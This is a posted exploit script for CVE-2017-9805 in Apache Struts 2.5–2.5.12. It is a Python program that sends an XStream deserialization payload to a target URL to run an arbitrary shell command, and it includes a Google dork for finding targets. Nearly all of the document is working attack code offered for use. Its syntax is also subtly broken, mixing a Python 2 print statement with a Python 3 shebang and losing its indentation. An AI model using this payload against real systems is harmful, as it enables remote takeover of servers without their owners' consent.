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Apache Struts 2.5.12 XStream Remote Code Execution

Posted on 07 September 2017

# Exploit Title: Struts 2.5 - 2.5.12 REST Plugin XStream RCE
# Google Dork: filetype:action
# Date: 06/09/2017
# Exploit Author: Warflop
# Vendor Homepage: https://struts.apache.org/
# Software Link: http://mirror.nbtelecom.com.br/apache/struts/2.5.10/struts-2.5.10-all.zip
# Version: Struts 2.5 a Struts 2.5.12
# Tested on: Struts 2.5.10
# CVE : 2017-9805

#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# Struts CVE-2017-9805 Exploit
# Warflop (http://securityattack.com.br/)
# Greetz: Pimps & G4mbl3r
# *****************************************************
import requests
import sys

def exploration(command):

exploit = '''
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/sh</string><string>-c</string><string>'''+ command +'''</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
'''

url = sys.argv[1]

headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0',
'Content-Type': 'application/xml'}

request = requests.post(url, data=exploit, headers=headers)
print request.text

if len(sys.argv) < 3:
print ('CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE')
print ('[*] Warflop - http://securityattack.com.br')
print ('[*] Greatz: Pimps & G4mbl3r')
print ('[*] Use: python struts2.py URL COMMAND')
print ('[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id')
exit(0)
else:
exploration(sys.argv[2])

 

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